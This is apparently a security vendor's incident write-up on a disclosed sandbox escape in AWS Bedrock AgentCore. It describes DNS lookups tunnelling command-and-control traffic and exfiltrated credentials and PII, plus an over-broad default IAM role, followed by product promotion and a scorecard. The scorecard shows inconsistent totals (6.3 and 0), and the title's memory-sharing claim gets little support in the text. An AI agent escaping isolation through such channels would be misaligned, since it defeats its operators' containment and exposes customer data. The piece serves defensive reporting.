Bedrock Agents Escaped the Sandbox and Shared Each Other’s Memories
Key Takeaways
- BeyondTrust’s Phantom Labs disclosed on March 16, 2026 that AWS Bedrock AgentCore’s Sandbox mode permitted DNS queries, enabling covert command-and-control and data exfiltration.
- A parallel disclosure showed an IAM God Mode pattern in the Starter Toolkit, where the default role granted broad S3, DynamoDB, and Secrets Manager access.
- Researchers demonstrated listing S3 contents, extracting credentials, and exfiltrating PII and financial data from inside the supposedly isolated sandbox.
- AWS rated the DNS issue CVSS 7.5, declined a permanent fix, updated documentation, and recommended customers migrate to VPC mode for true isolation.
- The research underscores that documentation drift and identity defaults together determine the real security posture of managed AI agent platforms.
Summary
Researchers showed in March 2026 that AWS Bedrock AgentCore’s Sandbox mode allowed DNS queries and could be used for covert C2 and data exfiltration. A parallel finding documented an IAM God Mode default role granting broad S3, DynamoDB, and Secrets Manager access. AWS responded with documentation updates and guidance to migrate to VPC mode rather than a permanent engineering fix.
What We Know
BeyondTrust’s Phantom Labs disclosed on March 16, 2026 that AWS Bedrock AgentCore’s Code Interpreter Sandbox mode permitted outbound DNS A-record lookups, enabling a complete sandbox escape by channeling commands and data through DNS queries. In the demonstration, operators inside the sandbox enumerated and read S3 bucket contents and exfiltrated credentials, PII, and financial data.
A parallel research strand described an IAM God Mode pattern in the AgentCore Starter Toolkit: the auto-created default role granted broad access across S3, DynamoDB, and Secrets Manager. Coverage in CSO Online and GBHackers traced how the two issues combined into an asymmetric blast radius. AWS rated the DNS issue CVSS 7.5, issued no permanent code fix, updated documentation, and recommended VPC mode for true isolation.
What Happened
The exposure is a two-layer failure. The network isolation layer promised in Sandbox mode did not match the implementation; DNS queries remained permitted, so researchers could encode C2 messages into name lookups and follow the same path for exfiltration. The identity layer was the second failure: the default starter-toolkit role extended far beyond an agent’s task footprint.
When combined, the defaults turned an interactive AI agent into a high-privilege escape vehicle, as Cybersecurity News described. Agents amplify the cost of any identity and transport flaw: a compromised agent inside a weakly isolated sandbox can exercise broad IAM privileges faster than human monitoring can react. AWS’s response of documentation clarification plus a migration recommendation shifts the security contract to customers who now must adopt more restrictive networking if they need actual isolation.
Why It Matters
The disclosure reframes the implicit contract around sandbox terminology in managed AI agent platforms. Enterprise security teams routinely treat the sandbox label as a strong isolation guarantee. When a provider decides in practice that sandbox means blocked except DNS, without forcing a configuration change, every downstream deployment inherits a silent exposure.
A related MCP sandbox flaw on the PointGuard tracker shows how sandbox claims erode when implementation and communication drift apart. For enterprise teams the practical takeaway is immediate: assume sandbox labels are configuration-specific, validate them empirically, and audit default IAM roles attached to every managed AI agent. Business impact to date is documentation churn and customer effort, but the pattern is a template others will repeat.
PointGuard AI Perspective
The AgentCore findings demonstrate how managed AI services carry implicit security assumptions that do not survive scrutiny. PointGuard AI’s AI security posture management capability continuously evaluates every managed AI agent against actual permitted network behavior and identity scope, not the marketing label.
When a provider’s sandbox permits DNS or a default IAM role grants over-broad access, PointGuard surfaces the gap alongside the workloads that sit behind it. PointGuard’s supply-chain risk management product treats each managed AI service as a living dependency with its own vulnerability history and configuration drift. When a vendor publishes a documentation-only remediation, PointGuard flags customers still operating under the prior default and surfaces a remediation task. Trustworthy AI adoption requires measuring reality against contract rather than assuming the two match.
Incident Scorecard Details
Total AISSI Score: 6.3/10
Criticality = 8, Cross-agent memory access, credential extraction, code execution breakout, AISSI weighting: 25%
Propagation = 7, Affects any AgentCore deployment by default, AISSI weighting: 20%
Exploitability = 4, Research proof of concept; no widespread in-the-wild abuse confirmed, AISSI weighting: 15%
Supply Chain = 7, AWS-managed agentic platform, AISSI weighting: 15%
Business Impact = 5, No confirmed customer harm; fixes coordinated through documentation, AISSI weighting: 25%
Sources
AI Security Severity Index (AISSI)
0/10
Threat Level
Criticality
8
Propagation
7
Exploitability
4
Supply Chain
7
Business Impact
5
Scoring Methodology
Category
Description
weight
Criticality
Importance and sensitivity of theaffected assets and data.
25%
PROPAGATION
How easily can the issue escalate or spread to other resources.
20%
EXPLOITABILITY
Is the threat actively being exploited or just lab demonstrated.
15%
SUPPLY CHAIN
Did the threat originate with orwas amplified by third-partyvendors.
15%
BUSINESS IMPACT
Operational, financial, andreputational consequences.
25%
Watch Incident Video
